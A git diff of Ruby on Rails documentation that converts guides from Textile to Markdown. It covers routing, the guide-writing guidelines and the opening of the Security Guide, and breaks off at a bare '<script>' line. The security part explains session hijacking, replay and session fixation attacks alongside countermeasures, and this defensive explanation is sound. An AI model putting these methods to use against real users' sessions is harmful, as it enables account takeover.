':controller(/:action(/:id))' -</ruby> - -If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses. - -h4. Dynamic Segments - -You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route: - -<ruby> -get ':controller/:action/:id/:user_id' -</ruby> - -An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+. - -NOTE: You can't use +:namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g: - -<ruby> -get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/ -</ruby> - -TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, +:id+ => /[^\/]+/ allows anything except a slash. - -h4. Static Segments - -You can specify static segments when creating a route: - -<ruby> -get ':controller/:action/:id/with_user/:user_id' -</ruby> - -This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>. - -h4. The Query String - -The +params+ will also include any parameters from the query string. For example, with this route: - -<ruby> -get ':controller/:action/:id' -</ruby> - -An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>. - -h4. Defining Defaults - -You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults: - -<ruby> -get 'photos/:id' => 'photos#show' -</ruby> - -With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+. - -You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example: - -<ruby> -get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' } -</ruby> - -Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+. - -h4. Naming Routes - -You can specify a name for any route using the +:as+ option. - -<ruby> -get 'exit' => 'sessions#destroy', :as => :logout -</ruby> - -This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+ - -You can also use this to override routing methods defined by resources, like this: - -<ruby> -get ':username', :to => "users#show", :as => :user -</ruby> - -This will define a +user_path+ method that will be available in controllers, helpers and views that will go to a route such as +/bob+. Inside the +show+ action of +UsersController+, +params[:username]+ will contain the username for the user. Change +:username+ in the route definition if you do not want your parameter name to be +:username+. - -h4. HTTP Verb Constraints - -In general, you should use the +get+, +post+, +put+ and +delete+ methods to constrain a route to a particular verb. You can use the +match+ method with the +:via+ option to match multiple verbs at once: - -<ruby> -match 'photos' => 'photos#show', :via => [:get, :post] -</ruby> - -You can match all verbs to a particular route using +:via => :all+: - -<ruby> -match 'photos' => 'photos#show', :via => :all -</ruby> - -You should avoid routing all verbs to an action unless you have a good reason to, as routing both +GET+ requests and +POST+ requests to a single action has security implications. - -h4. Segment Constraints - -You can use the +:constraints+ option to enforce a format for a dynamic segment: - -<ruby> -get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ } -</ruby> - -This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way: - -<ruby> -get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ -</ruby> - -+:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work: - -<ruby> -get '/:id' => 'posts#show', :constraints => {:id => /^\d/} -</ruby> - -However, note that you don't need to use anchors because all routes are anchored at the start. - -For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace: - -<ruby> -get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ } -get '/:username' => 'users#show' -</ruby> - -h4. Request-Based Constraints - -You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+. - -You specify a request-based constraint the same way that you specify a segment constraint: - -<ruby> -get "photos", :constraints => {:subdomain => "admin"} -</ruby> - -You can also specify constraints in a block form: - -<ruby> -namespace :admin do - constraints :subdomain => "admin" do - resources :photos - end -end -</ruby> - -h4. Advanced Constraints - -If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do: - -<ruby> -class BlacklistConstraint - def initialize - @ips = Blacklist.retrieve_ips - end - - def matches?(request) - @ips.include?(request.remote_ip) - end -end - -TwitterClone::Application.routes.draw do - get "*path" => "blacklist#index", - :constraints => BlacklistConstraint.new -end -</ruby> - -You can also specify constraints as a lambda: - -<ruby> -TwitterClone::Application.routes.draw do - get "*path" => "blacklist#index", - :constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) } -end -</ruby> - -Both the +matches?+ method and the lambda gets the +request+ object as an argument. - -h4. Route Globbing - -Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example - -<ruby> -get 'photos/*other' => 'photos#unknown' -</ruby> - -This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+. - -Wildcard segments can occur anywhere in a route. For example, - -<ruby> -get 'books/*section/:title' => 'books#show' -</ruby> - -would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+. - -Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example, - -<ruby> -get '*a/foo/*b' => 'test#index' -</ruby> - -would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+. - -NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route: - -<ruby> -get '*pages' => 'pages#show' -</ruby> - -NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this: - -<ruby> -get '*pages' => 'pages#show', :format => false -</ruby> - -NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this: - -<ruby> -get '*pages' => 'pages#show', :format => true -</ruby> - -h4. Redirection - -You can redirect any path to another path using the +redirect+ helper in your router: - -<ruby> -get "/stories" => redirect("/posts") -</ruby> - -You can also reuse dynamic segments from the match in the path to redirect to: - -<ruby> -get "/stories/:name" => redirect("/posts/%{name}") -</ruby> - -You can also provide a block to redirect, which receives the params and the request object: - -<ruby> -get "/stories/:name" => redirect {|params, req| "/posts/#{params[:name].pluralize}" } -get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } -</ruby> - -Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. - -In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. - -h4. Routing to Rack Applications - -Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher. - -<ruby> -match "/application.js" => Sprockets, :via => :all -</ruby> - -As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action. This is an appropriate use of +:via => :all+, as you will want to allow your Rack application to handle all verbs as it considers appropriate. - -NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application. - -h4. Using +root+ - -You can specify what Rails should route +"/"+ to with the +root+ method: - -<ruby> -root :to => 'pages#main' -root 'pages#main' # shortcut for the above -</ruby> - -You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect. - -NOTE: The +root+ route only routes +GET+ requests to the action. - -h4. Unicode character routes - -You can specify unicode character routes directly. For example - -<ruby> -match 'こんにちは' => 'welcome#index' -</ruby> - -h3. Customizing Resourceful Routes - -While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers. - -h4. Specifying a Controller to Use - -The +:controller+ option lets you explicitly specify a controller to use for the resource. For example: - -<ruby> -resources :photos, :controller => "images" -</ruby> - -will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller: - -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/photos |index | photos_path | -|GET |/photos/new |new | new_photo_path | -|POST |/photos |create | photos_path | -|GET |/photos/:id |show | photo_path(:id) | -|GET |/photos/:id/edit |edit | edit_photo_path(:id) | -|PATCH/PUT |/photos/:id |update | photo_path(:id) | -|DELETE |/photos/:id |destroy | photo_path(:id) | - -NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource. - -h4. Specifying Constraints - -You can use the +:constraints+ option to specify a required format on the implicit +id+. For example: - -<ruby> -resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/} -</ruby> - -This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match. - -You can specify a single constraint to apply to a number of routes by using the block form: - -<ruby> -constraints(:id => /[A-Z][A-Z][0-9]+/) do - resources :photos - resources :accounts -end -</ruby> - -NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context. - -TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash. - -h4. Overriding the Named Helpers - -The +:as+ option lets you override the normal naming for the named route helpers. For example: - -<ruby> -resources :photos, :as => "images" -</ruby> - -will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers. - -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/photos |index | images_path | -|GET |/photos/new |new | new_image_path | -|POST |/photos |create | images_path | -|GET |/photos/:id |show | image_path(:id) | -|GET |/photos/:id/edit |edit | edit_image_path(:id) | -|PATCH/PUT |/photos/:id |update | image_path(:id) | -|DELETE |/photos/:id |destroy | image_path(:id) | - -h4. Overriding the +new+ and +edit+ Segments - -The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths: - -<ruby> -resources :photos, :path_names => { :new => 'make', :edit => 'change' } -</ruby> - -This would cause the routing to recognize paths such as - -<plain> -/photos/make -/photos/1/change -</plain> - -NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions. - -TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope. - -<ruby> -scope :path_names => { :new => "make" } do - # rest of your routes -end -</ruby> - -h4. Prefixing the Named Route Helpers - -You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. - -<ruby> -scope "admin" do - resources :photos, :as => "admin_photos" -end - -resources :photos -</ruby> - -This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc. - -To prefix a group of route helpers, use +:as+ with +scope+: - -<ruby> -scope "admin", :as => "admin" do - resources :photos, :accounts -end - -resources :photos, :accounts -</ruby> - -This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively. - -NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ and +:path+ prefixes. - -You can prefix routes with a named parameter also: - -<ruby> -scope ":username" do - resources :posts -end -</ruby> - -This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views. - -h4. Restricting the Routes Created - -By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes: - -<ruby> -resources :photos, :only => [:index, :show] -</ruby> - -Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail. - -The +:except+ option specifies a route or list of routes that Rails should _not_ create: - -<ruby> -resources :photos, :except => :destroy -</ruby> - -In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+). - -TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process. - -h4. Translated Paths - -Using +scope+, we can alter path names generated by resources: - -<ruby> -scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do - resources :categories, :path => "kategorien" -end -</ruby> - -Rails now creates routes to the +CategoriesController+. - -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/kategorien |index | categories_path | -|GET |/kategorien/neu |new | new_category_path | -|POST |/kategorien |create | categories_path | -|GET |/kategorien/:id |show | category_path(:id) | -|GET |/kategorien/:id/bearbeiten |edit | edit_category_path(:id) | -|PATCH/PUT |/kategorien/:id |update | category_path(:id) | -|DELETE |/kategorien/:id |destroy | category_path(:id) | - -h4. Overriding the Singular Form - -If you want to define the singular form of a resource, you should add additional rules to the +Inflector+. - -<ruby> -ActiveSupport::Inflector.inflections do |inflect| - inflect.irregular 'tooth', 'teeth' -end -</ruby> - -h4(#nested-names). Using +:as+ in Nested Resources - -The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example, - -<ruby> -resources :magazines do - resources :ads, :as => 'periodical_ads' -end -</ruby> - -This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+. - -h3. Inspecting and Testing Routes - -Rails offers facilities for inspecting and testing your routes. - -h4. Seeing Existing Routes - -To get a complete list of the available routes in your application, visit +http://localhost:3000/rails/info/routes+ in your browser while your server is running in the *development* environment. You can also execute the +rake routes+ command in your terminal to produce the same output. - -Both methods will list all of your routes, in the same order that they appear in +routes.rb+. For each route, you'll see: - -* The route name (if any) -* The HTTP verb used (if the route doesn't respond to all verbs) -* The URL pattern to match -* The routing parameters for the route - -For example, here's a small section of the +rake routes+ output for a RESTful route: - -<pre> - users GET /users(.:format) users#index - POST /users(.:format) users#create - new_user GET /users/new(.:format) users#new -edit_user GET /users/:id/edit(.:format) users#edit -</pre> - -You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable: - -<shell> -$ CONTROLLER=users rake routes -</shell> - -TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap. - -h4. Testing Routes - -Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler: - -* +assert_generates+ -* +assert_recognizes+ -* +assert_routing+ - -h5. The +assert_generates+ Assertion - -+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. - -<ruby> -assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" } -assert_generates "/about", :controller => "pages", :action => "about" -</ruby> - -h5. The +assert_recognizes+ Assertion - -+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application. - -<ruby> -assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1") -</ruby> - -You can supply a +:method+ argument to specify the HTTP verb: - -<ruby> -assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }) -</ruby> - -h5. The +assert_routing+ Assertion - -The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+. - -<ruby> -assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) -</ruby> diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md new file mode 100644 index 0000000000..e589a3d093 --- /dev/null +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -0,0 +1,121 @@ +Ruby on Rails Guides Guidelines +=============================== + +This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example. + +-------------------------------------------------------------------------------- + +Markdown +------- + +Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown. + +Prologue +-------- + +Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html). + +Titles +------ + +The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`. + +``` +Guide Title +=========== + +Section +------- + +### Sub Section +``` + +Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be: + +``` +#### Middleware Stack is an Array +#### When are Objects Saved? +``` + +Use the same typography as in regular text: + +``` +##### The `:content_type` Option +``` + +API Documentation Guidelines +---------------------------- + +The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:) + +* [Wording](api_documentation_guidelines.html#wording) +* [Example Code](api_documentation_guidelines.html#example-code) +* [Filenames](api_documentation_guidelines.html#filenames) +* [Fonts](api_documentation_guidelines.html#fonts) + +Those guidelines apply also to guides. + +HTML Guides +----------- + +### Generation + +To generate all the guides, just `cd` into the **`guides`** directory and execute: + +``` +bundle exec rake guides:generate +``` + +or + +``` +bundle exec rake guides:generate:html +``` + +(You may need to run `bundle install` first to install the required gems.) + +To process `my_guide.md` and nothing else use the `ONLY` environment variable: + +``` +touch my_guide.md +bundle exec rake guides:generate ONLY=my_guide +``` + +By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice. + +To force processing all the guides, pass `ALL=1`. + +It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links. + +If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable: + +``` +bundle exec rake guides:generate GUIDES_LANGUAGE=es +``` + +If you want to see all the environment variables you can use to configure the generation script just run: + +``` +rake +``` + +### Validation + +Please validate the generated HTML with: + +``` +bundle exec rake guides:validate +``` + +Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution. + +Kindle Guides +------------- + +### Generation + +To generate guides for the Kindle, use the following rake task: + +``` +bundle exec rake guides:generate:kindle +``` diff --git a/guides/source/ruby_on_rails_guides_guidelines.textile b/guides/source/ruby_on_rails_guides_guidelines.textile deleted file mode 100644 index dd209b61d6..0000000000 --- a/guides/source/ruby_on_rails_guides_guidelines.textile +++ /dev/null @@ -1,104 +0,0 @@ -h2. Ruby on Rails Guides Guidelines - -This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example. - -endprologue. - -h3. Textile - -Guides are written in "Textile":http://www.textism.com/tools/textile/. There is comprehensive "documentation":http://redcloth.org/hobix.com/textile/ and a "cheatsheet":http://redcloth.org/hobix.com/textile/quick.html for markup. - -h3. Prologue - -Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html. - -h3. Titles - -The title of every guide uses +h2+; guide sections use +h3+; subsections +h4+; etc. - -Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be: - -<plain> -h5. Middleware Stack is an Array -h5. When are Objects Saved? -</plain> - -Use the same typography as in regular text: - -<plain> -h6. The <tt>:content_type</tt> Option -</plain> - -h3. API Documentation Guidelines - -The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html: - -* "Wording":api_documentation_guidelines.html#wording -* "Example Code":api_documentation_guidelines.html#example-code -* "Filenames":api_documentation_guidelines.html#filenames -* "Fonts":api_documentation_guidelines.html#fonts - -Those guidelines apply also to guides. - -h3. HTML Guides - -h4. Generation - -To generate all the guides, just +cd+ into the *+guides+* directory and execute: - -<plain> -bundle exec rake guides:generate -</plain> - -or - -<plain> -bundle exec rake guides:generate:html -</plain> - -(You may need to run +bundle install+ first to install the required gems.) - -To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable: - -<plain> -touch my_guide.textile -bundle exec rake guides:generate ONLY=my_guide -</plain> - -By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice. - -To force processing all the guides, pass +ALL=1+. - -It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links. - -If you want to generate guides in a language other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable: - -<plain> -bundle exec rake guides:generate GUIDES_LANGUAGE=es -</plain> - -If you want to see all the environment variables you can use to configure the generation script just run: - -<plain> -rake -</plain> - -h4. Validation - -Please validate the generated HTML with: - -<plain> -bundle exec rake guides:validate -</plain> - -Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a solution. - -h3. Kindle Guides - -h4(#generation-kindle). Generation - -To generate guides for the Kindle, use the following rake task: - -<plain> -bundle exec rake guides:generate:kindle -</plain> diff --git a/guides/source/security.textile b/guides/source/security.md index 4c6c78a353..3a6a894695 100644 --- a/guides/source/security.textile +++ b/guides/source/security.md @@ -1,8 +1,9 @@ -h2. Ruby On Rails Security Guide +Ruby On Rails Security Guide +============================ This manual describes common security problems in web applications and how to avoid them with Rails. After reading it, you should be familiar with: -* All countermeasures _(highlight)that are highlighted_ +* All countermeasures _that are highlighted_ * The concept of sessions in Rails, what to put in there and popular attack methods * How just visiting a site can be a security problem (with CSRF) * What you have to pay attention to when working with files or providing an administration interface @@ -10,9 +11,10 @@ This manual describes common security problems in web applications and how to av * How to manage users: Logging in and out and attack methods on all layers * And the most popular injection attack methods -endprologue. +-------------------------------------------------------------------------------- -h3. Introduction +Introduction +------------ Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. @@ -24,11 +26,12 @@ The threats against web applications include user account hijacking, bypass of a In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems. -h3. Sessions +Sessions +-------- A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. -h4. What are Sessions? +### What are Sessions? NOTE: _HTTP is a stateless protocol. Sessions make it stateful._ @@ -37,18 +40,18 @@ Rails will create a new session automatically if a new user accesses the applica A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: -<ruby> +```ruby session[:user_id] = @current_user.id User.find(session[:user_id]) -</ruby> +``` -h4. Session id +### Session id NOTE: _The session id is a 32 byte long MD5 hash value._ A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. -h4. Session Hijacking +### Session Hijacking WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._ @@ -56,53 +59,53 @@ Many web applications have an authentication system: a user provides a user name Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: -<ruby> -config.force_ssl = true -</ruby> + ```ruby + config.force_ssl = true + ``` -* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_. +* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_. * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. * Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. -The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf. +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). -h4. Session Guidelines +### Session Guidelines Here are some general guidelines on sessions. -* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). +* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. -* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. +* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. -h4. Session Storage +### Session Storage -NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is +ActionDispatch::Session::CookieStore+._ +NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: -* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_. +* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_. -* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. +* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: -<ruby> +```ruby config.action_dispatch.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' } -</ruby> +``` There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. -h4. Replay Attacks for CookieStore Sessions +### Replay Attacks for CookieStore Sessions -TIP: _Another sort of attack you have to be aware of when using +CookieStore+ is the replay attack._ +TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._ It works like this: @@ -114,44 +117,44 @@ It works like this: Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). -The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. +The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. -h4. Session Fixation +### Session Fixation NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ -!images/session_fixation.png(Session fixation)! + This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. -# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
